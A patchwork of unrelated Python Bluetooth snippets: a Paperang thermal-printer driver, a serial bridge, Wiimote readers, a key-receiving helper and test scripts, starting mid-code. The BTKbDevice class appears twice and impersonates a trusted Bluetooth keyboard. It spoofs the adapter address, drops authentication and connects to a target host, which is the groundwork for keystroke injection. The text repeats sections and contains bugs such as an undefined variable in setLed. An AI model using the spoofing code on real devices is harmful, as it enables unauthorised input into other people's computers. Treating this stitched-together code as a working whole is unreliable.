Bluetooth address") sys.exit(1) # power on Bluetooth device using btmgmt software tool p = subprocess.run(['btmgmt', '--index', self.interface, 'power', 'on'], stdout=subprocess.PIPE) # print(p.stdout) time.sleep(OS_CMD_SLEEP) # set device class print("[+] Set device class") p = subprocess.run(['btmgmt', '--index', self.interface, 'class', '5', '64'], stdout=subprocess.PIPE) # print(p.stdout) time.sleep(OS_CMD_SLEEP) # set device name and short name print("[+] Set device name: {} ({})". format(self.device_name, self.device_short_name)) p = subprocess.run(['btmgmt', '--index', self.interface, 'name', self.device_name, self.device_short_name], stdout=subprocess.PIPE) # print(p.stdout) time.sleep(OS_CMD_SLEEP) # set device to connectable p = subprocess.run(['btmgmt', '--index', self.interface, 'connectable', 'on'], stdout=subprocess.PIPE) # print(p.stdout) time.sleep(OS_CMD_SLEEP) # turn on discoverable mode print("[+] Turn on discoverable mode") p = subprocess.run(['bluetoothctl', 'discoverable', 'on'], stdout=subprocess.PIPE) # print(p.stdout) def register_bluez_profile(self): """Setup and register BlueZ profile""" print("Configuring Bluez Profile") # setup profile options service_record = self.read_sdp_service_record() opts = { "ServiceRecord": service_record, "Role": "server", "RequireAuthentication": False, "RequireAuthorization": False } # retrieve a proxy for the bluez profile interface bus = dbus.SystemBus() manager = dbus.Interface(bus.get_object("org.bluez", "/org/bluez"), "org.bluez.ProfileManager1") profile = BTKbdBluezProfile(bus, BTKbDevice.PROFILE_DBUS_PATH) manager.RegisterProfile(BTKbDevice.PROFILE_DBUS_PATH, BTKbDevice.UUID, opts) print("[*] Profile registered") def read_sdp_service_record(self): """Read SDP service record""" print("[*] Reading service record") try: fh = open(BTKbDevice.SDP_RECORD_PATH, "r") except Exception: sys.exit("[*] Could not open the SDP record. Exiting ...") return fh.read() def listen(self): """Listen for incoming client connections""" print("[*] Waiting for connections") self.scontrol = BluetoothSocket(L2CAP) self.sinterrupt = BluetoothSocket(L2CAP) # bind these sockets to a port - port zero to select next available self.scontrol.bind((self.bdaddr, self.P_CTRL)) self.sinterrupt.bind((self.bdaddr, self.P_INTR)) # start listening on the server sockets (only allow 1 connection) self.scontrol.listen(1) self.sinterrupt.listen(1) self.ccontrol, cinfo = self.scontrol.accept() print("[*] Connection on the control channel from {}" .format(cinfo[0])) self.cinterrupt, cinfo = self.sinterrupt.accept() print("[*] Connection on the interrupt channel from {}" .format(cinfo[0])) def connect(self, target): """Connect to target MAC (the keyboard must already be known to the target)""" print("[*] Connecting to {}".format(target)) self.scontrol = BluetoothSocket(L2CAP) self.sinterrupt = BluetoothSocket(L2CAP) self.scontrol.connect((target, self.P_CTRL)) self.sinterrupt.connect((target, self.P_INTR)) self.ccontrol = self.scontrol self.cinterrupt = self.sinterrupt def send_string(self, message): """Send a string to the host machine""" self.cinterrupt.send(message)
class Paperang: standardKey = 0x35769521 padding_line = 300 max_send_msg_length = 2016 max_recv_msg_length = 1024 service_uuid = "00001101-0000-1000-8000-00805F9B34FB" def __init__(self, address=None): self.address = address self.crckeyset = False self.connected = True if self.connect() else False def connect(self): if self.address is None and not self.scandevices(): return False if not self.scanservices(): return False logging.info("Service found. Connecting to \"%s\" on %s..." % (self.service["name"], self.service["host"])) self.sock = BluetoothSocket(RFCOMM) self.sock.connect((self.service["host"], self.service["port"])) self.sock.settimeout(60) logging.info("Connected.") self.registerCrcKeyToBt() return True def disconnect(self): try: self.sock.close() except: pass logging.info("Disconnected.") def scandevices(self): logging.warning( "Searching for devices...\n" "It may take time, you'd better specify mac address to avoid a scan." ) valid_names = ['MiaoMiaoJi', 'Paperang'] nearby_devices = discover_devices(lookup_names=True) valid_devices = list( filter(lambda d: len(d) == 2 and d[1] in valid_names, nearby_devices)) if len(valid_devices) == 0: logging.error("Cannot find device with name %s." % " or ".join(valid_names)) return False elif len(valid_devices) > 1: logging.warning( "Found multiple valid machines, the first one will be used.\n") logging.warning("\n".join(valid_devices)) else: logging.warning("Found a valid machine with MAC %s and name %s" % (valid_devices[0][0], valid_devices[0][1])) self.address = valid_devices[0][0] return True def scanservices(self): logging.info("Searching for services...") service_matches = find_service(uuid=self.service_uuid, address=self.address) valid_service = list( filter( lambda s: 'protocol' in s and 'name' in s and s['protocol'] == 'RFCOMM' and s['name'] == 'SerialPort', service_matches)) if len(valid_service) == 0: logging.error("Cannot find valid services on device with MAC %s." % self.address) return False logging.info("Found a valid service") self.service = valid_service[0] return True def sendMsgAllPackage(self, msg): # Write data directly to device sent_len = self.sock.send(msg) logging.info("Sending msg with length = %d..." % sent_len) def crc32(self, content): return zlib.crc32(content, self.crcKey if self.crckeyset else self.standardKey) & 0xffffffff def packPerBytes(self, bytes, control_command, i): result = struct.pack('<BBB', 2, control_command, i) result += struct.pack('<H', len(bytes)) result += bytes result += struct.pack('<I', self.crc32(bytes)) result += struct.pack('<B', 3) return result def addBytesToList(self, bytes): length = self.max_send_msg_length result = [bytes[i:i + length] for i in range(0, len(bytes), length)] return result def sendToBt(self, data_bytes, control_command, need_reply=True): bytes_list = self.addBytesToList(data_bytes) for i, bytes in enumerate(bytes_list): tmp = self.packPerBytes(bytes, control_command, i) self.sendMsgAllPackage(tmp) if need_reply: return self.recv() def recv(self): # Here we assume that there is only one received packet. raw_msg = self.sock.recv(self.max_recv_msg_length) parsed = self.resultParser(raw_msg) logging.info("Recv: " + codecs.encode(raw_msg, "hex_codec").decode()) logging.info("Received %d packets: " % len(parsed) + "".join([str(p) for p in parsed])) return raw_msg, parsed def resultParser(self, data): base = 0 res = [] while base < len(data) and data[base] == '\x02': class Info(object): def __str__(self): return "\nControl command: %s(%s)\nPayload length: %d\nPayload(hex): %s" % ( self.command, BtCommandByte.findCommand( self.command), self.payload_length, codecs.encode(self.payload, "hex_codec")) info = Info() _, info.command, _, info.payload_length = struct.unpack( '<BBBH', data[base:base + 5]) info.payload = data[base + 5:base + 5 + info.payload_length] info.crc32 = data[base + 5 + info.payload_length:base + 9 + info.payload_length] base += 10 + info.payload_length res.append(info) return res def registerCrcKeyToBt(self, key=0x6968634 ^ 0x2e696d): logging.info("Setting CRC32 key...") msg = struct.pack('<I', int(key ^ self.standardKey)) self.sendToBt(msg, BtCommandByte.PRT_SET_CRC_KEY) self.crcKey = key self.crckeyset = True logging.info("CRC32 key set.") def sendPaperTypeToBt(self, paperType=0): # My guess: # paperType=0: normal paper # paperType=1: official paper msg = struct.pack('<B', paperType) self.sendToBt(msg, BtCommandByte.PRT_SET_PAPER_TYPE) def sendPowerOffTimeToBt(self, poweroff_time=0): msg = struct.pack('<H', poweroff_time) self.sendToBt(msg, BtCommandByte.PRT_SET_POWER_DOWN_TIME) def sendImageToBt(self, binary_img): self.sendPaperTypeToBt() # msg = struct.pack("<%dc" % len(binary_img), *map(bytes, binary_img)) msg = b"".join( map(lambda x: struct.pack("<c", x.to_bytes(1, byteorder="little")), binary_img)) self.sendToBt(msg, BtCommandByte.PRT_PRINT_DATA, need_reply=False) self.sendFeedLineToBt(self.padding_line) def sendSelfTestToBt(self): msg = struct.pack('<B', 0) self.sendToBt(msg, BtCommandByte.PRT_PRINT_TEST_PAGE) def sendDensityToBt(self, density): msg = struct.pack('<B', density) self.sendToBt(msg, BtCommandByte.PRT_SET_HEAT_DENSITY) def sendFeedLineToBt(self, length): msg = struct.pack('<H', length) self.sendToBt(msg, BtCommandByte.PRT_FEED_LINE) def queryBatteryStatus(self): msg = struct.pack('<B', 1) self.sendToBt(msg, BtCommandByte.PRT_GET_BAT_STATUS) def queryDensity(self): msg = struct.pack('<B', 1) self.sendToBt(msg, BtCommandByte.PRT_GET_HEAT_DENSITY) def sendFeedToHeadLineToBt(self, length): msg = struct.pack('<H', length) self.sendToBt(msg, BtCommandByte.PRT_FEED_TO_HEAD_LINE) def queryPowerOffTime(self): msg = struct.pack('<B', 1) self.sendToBt(msg, BtCommandByte.PRT_GET_POWER_DOWN_TIME) def querySNFromBt(self): msg = struct.pack('<B', 1) self.sendToBt(msg, BtCommandByte.PRT_GET_SN) def queryHardwareInfo(self): msg = struct.pack('<B', 1) self.sendToBt(msg, BtCommandByte.PRT_GET_HW_INFO)
class BluetoothReceive: def __init__(self, port=3, size=1024): self.port = port self.size = size self.client_socket = None self.stopped = False @inlineCallbacks def find_key(self, bt_mac, mac): self.client_socket = BluetoothSocket(RFCOMM) message = b"" try: self.client_socket.setblocking(False) try: self.client_socket.connect((bt_mac, self.port)) except BluetoothError as be: if be.args[0] == "(115, 'Operation now in progress')": pass else: raise be success = False while not self.stopped and not success: r, w, e = yield threads.deferToThread(select.select, [self.client_socket], [], [], 0.5) if r: log.info("Connection established") self.client_socket.setblocking(True) success = True # try to receive until the sender closes the connection try: while True: part_message = self.client_socket.recv(self.size) message += part_message except BluetoothError as be: if be.args[0] == "(104, 'Connection reset by peer')": log.info("Bluetooth connection closed, let's check if we downloaded the key") else: raise be mac_key = fingerprint_from_keydata(message) verified = None if mac: verified = mac_verify(mac_key.encode('ascii'), message, mac) if verified: success = True else: log.info("MAC validation failed: %r", verified) success = False message = b"" except BluetoothError as be: if be.args[0] == "(16, 'Device or resource busy')": log.info("Probably has been provided a partial bt mac") elif be.args[0] == "(111, 'Connection refused')": log.info("The sender refused our connection attempt") elif be.args[0] == "(112, 'Host is down')": log.info("The sender's Bluetooth is not available") elif be.args[0] == "(113, 'No route to host')": log.info("An error occurred with Bluetooth, if present probably the device is not powered") else: log.info("An unknown bt error occurred: %s" % be.args[0]) key_data = None success = False returnValue((key_data, success, be)) except Exception as e: log.error("An error occurred connecting or receiving: %s" % e) key_data = None success = False returnValue((key_data, success, e)) if self.client_socket: self.client_socket.close() returnValue((message.decode("utf-8"), success, None)) def stop(self): self.stopped = True if self.client_socket: try: self.client_socket.shutdown(socket.SHUT_RDWR) self.client_socket.close() except BluetoothError as be: if be.args[0] == "(9, 'Bad file descriptor')": log.info("The old Bluetooth connection was already closed") else: log.warning("An unknown bt error occurred: %s" % be.args[0])
class BTKbDevice(): """Bluetooth HID keyboard device""" # control and interrupt service ports P_CTRL = 17 # Service port (control) from SDP record P_INTR = 19 # Service port (interrupt) from SDP record # D-Bus path of the BlueZ profile PROFILE_DBUS_PATH = "/bluez/syss/btkbd_profile" # file path of the SDP record SDP_RECORD_PATH = "{}{}".format(sys.path[0], "/sdp_record.xml") # device UUID UUID = "00001124-0000-1000-8000-00805f9b34fb" def __init__(self): """Initialize Bluetooth keyboard device""" # read config file with address and device name print("[*] Read configuration file") config = configparser.ConfigParser() config.read("../keyboard.conf") try: self.bdaddr = config['default']['BluetoothAddress'] self.device_name = config['default']['DeviceName'] self.device_short_name = config['default']['DeviceShortName'] self.interface = config['default']['Interface'] self.spoofing_method = config['default']['SpoofingMethod'] self.auto_connect = config['auto_connect']['AutoConnect'] self.connect_target = config['auto_connect']['Target'] except KeyError: sys.exit("[-] Could not read all required configuration values") print("[*] Initialize Bluetooth device") self.configure_device() self.register_bluez_profile() def configure_device(self): """Configure bluetooth hardware device""" print("[*] Configuring emulated Bluetooth keyboard") # power on Bluetooth device p = subprocess.run( ['btmgmt', '--index', self.interface, 'power', 'off'], stdout=subprocess.PIPE) time.sleep(OS_CMD_SLEEP) # spoof device address if configured if self.spoofing_method == 'bdaddr': print("[+] Spoof device {} address {} via btmgmt".format( self.interface, self.bdaddr)) # power on Bluetooth device p = subprocess.run( ['btmgmt', '--index', self.interface, 'power', 'on'], stdout=subprocess.PIPE) time.sleep(OS_CMD_SLEEP) # set Bluetooth address using bdaddr software tool with manual # reset, so that we have to power on the device p = subprocess.run( ['bdaddr', '-i', self.interface, '-r', self.bdaddr], stdout=subprocess.PIPE) time.sleep(OS_CMD_SLEEP) # power on Bluetooth device p = subprocess.run( ['btmgmt', '--index', self.interface, 'power', 'on'], stdout=subprocess.PIPE) time.sleep(OS_CMD_SLEEP) # set device class print("[+] Set device class") p = subprocess.run( ['btmgmt', '--index', self.interface, 'class', '5', '64'], stdout=subprocess.PIPE) time.sleep(OS_CMD_SLEEP) # set device name and short name print("[+] Set device name: {} ({})".format( self.device_name, self.device_short_name)) p = subprocess.run([ 'btmgmt', '--index', self.interface, 'name', self.device_name, self.device_short_name ], stdout=subprocess.PIPE) # set device to connectable p = subprocess.run( ['btmgmt', '--index', self.interface, 'connectable', 'on'], stdout=subprocess.PIPE) time.sleep(OS_CMD_SLEEP) # power on Bluetooth device p = subprocess.run( ['btmgmt', '--index', self.interface, 'power', 'on'], stdout=subprocess.PIPE) time.sleep(OS_CMD_SLEEP) elif self.spoofing_method == 'btmgmt': print("[+] Spoof device {} address {} via btmgmt".format( self.interface, self.bdaddr)) # set Bluetooth address print("[+] Set Bluetooth address: {}".format(self.bdaddr)) p = subprocess.run([ 'btmgmt', '--index', self.interface, 'public-addr', self.bdaddr ], stdout=subprocess.PIPE) print(p.stdout) if "fail" in str(p.stdout, "utf-8"): print("[-] Error setting Bluetooth address") sys.exit(1) # power on Bluetooth device using btmgmt software tool p = subprocess.run( ['btmgmt', '--index', self.interface, 'power', 'on'], stdout=subprocess.PIPE) # print(p.stdout) time.sleep(OS_CMD_SLEEP) # set device class print("[+] Set device class") p = subprocess.run( ['btmgmt', '--index', self.interface, 'class', '5', '64'], stdout=subprocess.PIPE) # print(p.stdout) time.sleep(OS_CMD_SLEEP) # set device name and short name print("[+] Set device name: {} ({})".format( self.device_name, self.device_short_name)) p = subprocess.run([ 'btmgmt', '--index', self.interface, 'name', self.device_name, self.device_short_name ], stdout=subprocess.PIPE) # print(p.stdout) time.sleep(OS_CMD_SLEEP) # set device to connectable p = subprocess.run( ['btmgmt', '--index', self.interface, 'connectable', 'on'], stdout=subprocess.PIPE) # print(p.stdout) time.sleep(OS_CMD_SLEEP) # turn on discoverable mode print("[+] Turn on discoverable mode") p = subprocess.run(['bluetoothctl', 'discoverable', 'on'], stdout=subprocess.PIPE) # print(p.stdout) def register_bluez_profile(self): """Setup and register BlueZ profile""" print("Configuring Bluez Profile") # setup profile options service_record = self.read_sdp_service_record() opts = { "ServiceRecord": service_record, "Role": "server", "RequireAuthentication": False, "RequireAuthorization": False } # retrieve a proxy for the bluez profile interface bus = dbus.SystemBus() manager = dbus.Interface(bus.get_object("org.bluez", "/org/bluez"), "org.bluez.ProfileManager1") profile = BTKbdBluezProfile(bus, BTKbDevice.PROFILE_DBUS_PATH) manager.RegisterProfile(BTKbDevice.PROFILE_DBUS_PATH, BTKbDevice.UUID, opts) print("[*] Profile registered") def read_sdp_service_record(self): """Read SDP service record""" print("[*] Reading service record") try: fh = open(BTKbDevice.SDP_RECORD_PATH, "r") except Exception: sys.exit("[*] Could not open the SDP record. Exiting ...") return fh.read() def listen(self): """Listen for incoming client connections""" print("[*] Waiting for connections") self.scontrol = BluetoothSocket(L2CAP) self.sinterrupt = BluetoothSocket(L2CAP) # bind these sockets to a port - port zero to select next available self.scontrol.bind((self.bdaddr, self.P_CTRL)) self.sinterrupt.bind((self.bdaddr, self.P_INTR)) # start listening on the server sockets (only allow 1 connection) self.scontrol.listen(1) self.sinterrupt.listen(1) self.ccontrol, cinfo = self.scontrol.accept() print("[*] Connection on the control channel from {}".format(cinfo[0])) self.cinterrupt, cinfo = self.sinterrupt.accept() print("[*] Connection on the interrupt channel from {}".format( cinfo[0])) def connect(self, target): """Connect to target MAC (the keyboard must already be known to the target)""" print("[*] Connecting to {}".format(target)) self.scontrol = BluetoothSocket(L2CAP) self.sinterrupt = BluetoothSocket(L2CAP) self.scontrol.connect((target, self.P_CTRL)) self.sinterrupt.connect((target, self.P_INTR)) self.ccontrol = self.scontrol self.cinterrupt = self.sinterrupt def send_string(self, message): """Send a string to the host machine""" self.cinterrupt.send(message)
class Bridge: serial_worker = None ser_to_bt = None intentional_exit = False in_packet = False packet = bytearray() def __init__(self, log, port=COM_PORT, baud=BAUD, address=PAPERANG_ADDR, uuid=UUID): self.host_port = COM_PORT self.address = address self.uuid = uuid self.host = serial.serial_for_url(COM_PORT, baudrate=baud, timeout=1, do_not_open= True) self.logging = log.logger def connect_host(self): try: self.host.open() except serial.SerialException as e: self.logging.error( 'Could not open serial port {}: {}\n'.format(self.host_port, e)) return False self.logging.info("Host connected.") return True def disconnect_host(self): self.host.close() self.logging.info("Host disconnected.") def scanservices(self): self.logging.info("Searching for services...") service_matches = find_service(uuid=self.uuid, address=self.address) valid_service = list(filter( lambda s: 'protocol' in s and 'name' in s and s[ 'protocol'] == 'RFCOMM' and s['name'] == b'Port\x00', service_matches )) if len(valid_service) == 0: self.logging.error("Cannot find valid services on device with MAC %s." % self.address) return False self.logging.info("Found a valid service on target device.") self.service = valid_service[0] return True def connect_device(self): if not self.scanservices(): self.logging.error('Not found valid service.') return False self.logging.info("Service found. Connecting to \"%s\" on %s..." % (self.service["name"], self.service["host"])) self.sock = BluetoothSocket(RFCOMM) self.sock.connect((self.service["host"], self.service["port"])) self.sock.settimeout(60) self.logging.info("Device connected.") return True def disconnect_device(self): try: self.sock.close() except: pass self.logging.info("Device disconnected.") def redirect_Serial2Bt_thread(self): # start thread to handle redirect host data to device self.ser_to_bt = SerialToBt(self.logging) self.ser_to_bt.socket = self.sock self.serial_worker = serial.threaded.ReaderThread(self.host, self.ser_to_bt) self.serial_worker.start() self.logging.info("Start to redirect host data to device ...") def get_packet(self, data): """Find data enclosed in START/STOP""" for d in data: byte = d.to_bytes(1, 'little') if byte == PKT_START: self.in_packet = True elif byte == PKT_STOP: self.in_packet = False self.logging.info( 'Device2Host Packet: 02{}03'.format(self.packet.hex())) del self.packet[:] elif self.in_packet: self.packet.extend(byte) else: # data that is received outside of packets pass def redirect_Bt2Serial(self): self.logging.info("Start to redirect device data to host ...") device_socket = self.sock self.intentional_exit = False try: # enter network <-> serial loop while not self.intentional_exit: try: data = device_socket.recv(MAX_RECV_LEN) if not data: break # get a bunch of bytes and send them self.logging.debug('Device2Host Data: {}'.format(data.hex())) self.get_packet(data) self.host.write(data) except BluetoothError as msg: self.logging.error('ERROR: {}\n'.format(msg)) # probably got disconnected break except KeyboardInterrupt: self.intentional_exit = True raise def enable(self): self.connect_host() if not self.connect_device(): return self.redirect_Serial2Bt_thread() self.redirect_Bt2Serial() def disable(self): self.intentional_exit = True self.ser_to_bt.socket = None self.disconnect_host() self.serial_worker.stop() self.disconnect_device()
print("Starting...") #devices = discover_devices(lookup_names=True) #print(devices) default_addr = "20:13:09:13:36:96" #print(default_addr); #sleep(10); #addr, name = find_device_mac('HC-06') addr = default_addr print(addr) socket = BluetoothSocket(RFCOMM) socket.connect((addr, 1)) print("Connected to {} on channel {}".format(addr, 1)) print("Starting listening thread.") _thread.start_new_thread( checkForData, ("Listing_thread", socket, f)) while True: inp = input(">") if inp == "quit": f.close() break converted = 0; try: convert = int(inp) except ValueError as e: continue
import os,sys import time from bluetooth import ( BluetoothSocket, RFCOMM, ) from bluetooth.btcommon import BluetoothError rfcomm = BluetoothSocket(RFCOMM) rfcomm.connect(('00:18:E5:03:F5:99', 1)) # Bricogeek #rfcomm.connect(('98:D3:31:F6:1C:51', 1)) # white #rfcomm.connect(('98:D3:31:70:13:AB', 1)) # green rfcomm.settimeout(None) # set blocking True #rfcomm.settimeout(0.0) # set blocking False #rfcomm.settimeout(0.001) print("Connected") data = 'a'*900 data += '\n' period = 0.001 print('len(data', len(data)+1, 'period', period, 'bytes/ms', len(data)/period/1000.0) t1 = time.time() while (True): try:
while connected == 1: try: msg = fdin.recv(23) except BluetoothError: continue if len(msg) >= 7: for c in range(3): sensor[c] = ord(msg[4 + c]) fdin.close() fdout.close() connected = -1 # Try to connect to Wiimote print 'connecting to Wiimote ' + ADDRESS + ', please press buttons 1 and 2' fdin = BluetoothSocket(L2CAP) fdin.connect((ADDRESS, 0x13)) fdout = BluetoothSocket(L2CAP) fdout.connect((ADDRESS, 0x11)) if not fdin or not fdout: raise 'could not connect to Wiimote, check the address' # Open window pygame.init() window = pygame.display.set_mode((WIDTH, HEIGHT), 0) pygame.display.set_caption('Wiiewer') # Run listener old = [127] * 3 sensor = [127] * 3 connected = 1 thread.start_new_thread(listener, ()) fdout.send("\x52\x12\x00\x31") # Main display loop
try: msg = fdin.recv(23) except BluetoothError: continue if len(msg) >= 7: for c in range(3): sensor[c] = ord(msg[4 + c]) fdin.close() fdout.close() connected = -1 # Try to connect to Wiimote print 'connecting to Wiimote ' + ADDRESS + ', please press buttons 1 and 2' fdin = BluetoothSocket(L2CAP) fdin.connect((ADDRESS, 0x13)) fdout = BluetoothSocket(L2CAP) fdout.connect((ADDRESS, 0x11)) if not fdin or not fdout: raise 'could not connect to Wiimote, check the address' # Open window pygame.init() window = pygame.display.set_mode((WIDTH, HEIGHT), 0) pygame.display.set_caption('Wiiewer') # Run listener old = [127] * 3 sensor = [127] * 3 connected = 1 thread.start_new_thread(listener, ()) fdout.send("\x52\x12\x00\x31") # Main display loop
class Wiimote: def __init__(self, addr): self._addr = addr self._inSocket = BluetoothSocket(L2CAP) self._outSocket = BluetoothSocket(L2CAP) self._connected = False def __del__(self): self.disconnect() def _send(self, *data, **kwargs): check_connection = True if 'check_connection' in kwargs: check_connection = kwargs['check_connection'] if check_connection and not self._connected: raise IOError('No wiimote is connected') self._inSocket.send(''.join(map(chr, data))) def disconnect(self): if self._connected: self._inSocket.close() self._outSocket.close() self._connected = False def connect(self, timeout=0): if self._connected: return None self._inSocket.connect((self._addr, 0x13)) self._outSocket.connect((self._addr, 0x11)) self._inSocket.settimeout(timeout) self._outSocket.settimeout(timeout) # TODO give the choice of the mode to the user # Set the mode of the data reporting of the Wiimote with the last byte of this sending # 0x30 : Only buttons (2 bytes) # 0x31 : Buttons and Accelerometer (3 bytes) # 0x32 : Buttons + Extension (8 bytes) # 0x33 : Buttons + Accel + InfraRed sensor (12 bytes) # 0x34 : Buttons + Extension (19 bytes) # 0x35 : Buttons + Accel + Extension (16 bytes) # 0x36 : Buttons + IR sensor (10 bytes) + Extension (9 bytes) # 0x37 : Buttons + Accel + IR sensor (10 bytes) + Extension (6 bytes) # 0x3d : Extension (21 bytes) # 0x3e / 0x3f : Buttons + Accel + IR sensor (36 bytes). Need two reports for a sigle data unit. self._send(0x52, 0x12, 0x00, 0x33, check_connection=False) # Enable the IR camera # Enable IR Camera (Send 0x04 to Output Report 0x13) # Enable IR Camera 2 (Send 0x04 to Output Report 0x1a) # Write 0x08 to register 0xb00030 # Write Sensitivity Block 1 to registers at 0xb00000 # Write Sensitivity Block 2 to registers at 0xb0001a # Write Mode Number to register 0xb00033 # Write 0x08 to register 0xb00030 (again) # Put a sleep of 50ms to avoid a bad configuration of the IR sensor # Sensitivity Block 1 is : 00 00 00 00 00 00 90 00 41 # Sensitivity Block 2 is : 40 00 # The mode number is 1 if there is 10 bytes for the IR. # The mode number is 3 if there is 12 bytes for the IR. # The mode number is 5 if there is 36 bytes for the IR. time.sleep(0.050) self._send(0x52, 0x13, 0x04, check_connection=False) time.sleep(0.050) self._send(0x52, 0x1a, 0x04, check_connection=False) time.sleep(0.050) self._send(0x52, 0x16, 0x04, 0xb0, 0x00, 0x30, 1, 0x08, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False) time.sleep(0.050) self._send(0x52, 0x16, 0x04, 0xb0, 0x00, 0x06, 1, 0x90, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False) time.sleep(0.050) self._send(0x52, 0x16, 0x04, 0xb0, 0x00, 0x08, 1, 0x41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False) time.sleep(0.050) self._send(0x52, 0x16, 0x04, 0xb0, 0x00, 0x1a, 1, 0x40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False) time.sleep(0.050) self._send(0x52, 0x16, 0x04, 0xb0, 0x00, 0x33, 1, 0x03, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False) time.sleep(0.050) self._send(0x52, 0x16, 0x04, 0xb0, 0x00, 0x30, 1, 0x08, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False) self._connected = True def vibrate(self, duration=1): self._send(0x52, 0x15, 0x01) time.sleep(duration) self._send(0x52, 0x15, 0x00) def setLed(self, binary): self._send(0x52, 0x11, int(n << 4)) def _getData(self, check_connection=True): if check_connection and not self._connected: raise IOError('No wiimote is connected') data = self._inSocket.recv(19) if len(data) != 19: raise IOError('Impossible to receive all data') return list(map(ord, data)) def _checkButton(self, bit, mask): return self._getData()[bit] & mask != 0 def buttonAPressed(self): return self._checkButton(3, 0x08) def buttonBPressed(self): return self._checkButton(3, 0x04) def buttonUpPressed(self): return self._checkButton(2, 0x08) def buttonDownPressed(self): return self._checkButton(2, 0x04) def buttonLeftPressed(self): return self._checkButton(2, 0x01) def buttonRightPressed(self): return self._checkButton(2, 0x02) def buttonPlusPressed(self): return self._checkButton(2, 0x10) def buttonMinusPressed(self): return self._checkButton(3, 0x10) def buttonHomePressed(self): return self._checkButton(3, 0x80) def buttonOnePressed(self): return self._checkButton(3, 0x02) def buttonTwoPressed(self): return self._checkButton(3, 0x01) # 0x80 means no movement def getAcceleration(self): d = self._getData() ax = d[4] << 2 | d[2] & (0x20 | 0x40) ay = d[5] << 1 | d[3] & 0x20 az = d[6] << 1 | d[3] & 0x40 return (ax, ay, az) def getIRPoints(self): d = self._getData() x1 = d[7] | ((d[9] & (0b00110000)) << 4) y1 = d[8] | ((d[9] & (0b11000000)) << 2) i1 = d[9] & 0b00001111 x2 = d[10] | ((d[12] & (0b00110000)) << 4) y2 = d[11] | ((d[12] & (0b11000000)) << 2) i2 = d[12] & 0b00001111 x3 = d[13] | ((d[15] & (0b00110000)) << 4) y3 = d[14] | ((d[15] & (0b11000000)) << 2) i3 = d[15] & 0b00001111 x4 = d[16] | ((d[18] & (0b00110000)) << 4) y4 = d[17] | ((d[18] & (0b11000000)) << 2) i4 = d[18] & 0b00001111 return [(x1, y2, i1), (x2, y2, i2), (x3, y3, i3), (x4, y4, i4)]